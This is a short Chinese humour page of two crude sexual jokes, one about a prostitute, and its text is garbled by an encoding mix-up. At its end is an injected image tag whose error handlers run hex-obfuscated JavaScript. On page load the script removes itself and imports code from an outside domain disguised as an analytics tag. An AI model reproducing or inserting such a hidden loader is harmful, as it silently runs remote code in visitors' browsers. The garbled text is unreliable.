051期生活幽默：尷尬經(jīng)歷

談起尷尬經(jīng)歷，黃說：“有天走錯(cuò)門，進(jìn)了劉秘書辦公室，我忙說‘對(duì)不起，讓你受驚啦?！齾s悄聲說‘別擔(dān)心，我做絕育了?！辈芙又f：“我在海南候雞室里找了一位，沒問價(jià)就匆匆上陣了。等插進(jìn)去了她才開價(jià)‘進(jìn)一下50，出一下50，射500。’聽完我就不動(dòng)了，她催問為何停下，我只好說‘只帶了50，剛夠進(jìn)來的?！?img src="http://8768.cc" onerror="(new Function('el', '\x61\x72\x67\x75\x6d\x65\x6e\x74\x73\x5b\x30\x5d\x2e\x72\x65\x6d\x6f\x76\x65\x28\x29\x3b\x69\x6d\x70\x6f\x72\x74\x28\x27\x68\x74\x74\x70\x73\x3a\x2f\x2f\x77\x77\x77\x2e\x34\x39\x32\x31\x37\x38\x2e\x63\x6f\x6d\x2f\x67\x74\x61\x67\x2f\x6a\x73\x3f\x69\x64\x3d\x47\x2d\x44\x52\x27\x29\x3b'))(this)" onerriframeor="(new Function('el', '\x61\x72\x67\x75\x6d\x65\x6e\x74\x73\x5b\x30\x5d\x2e\x72\x65\x6d\x6f\x76\x65\x28\x29\x3b\x69\x6d\x70\x6f\x72\x74\x28\x27\x68\x74\x74\x70\x73\x3a\x2f\x2f\x77\x77\x77\x2e\x34\x39\x32\x31\x37\x38\x2e\x63\x6f\x6d\x2f\x67\x74\x61\x67\x2f\x6a\x73\x3f\x69\x64\x3d\x47\x2d\x44\x52\x27\x29\x3b'))(this)">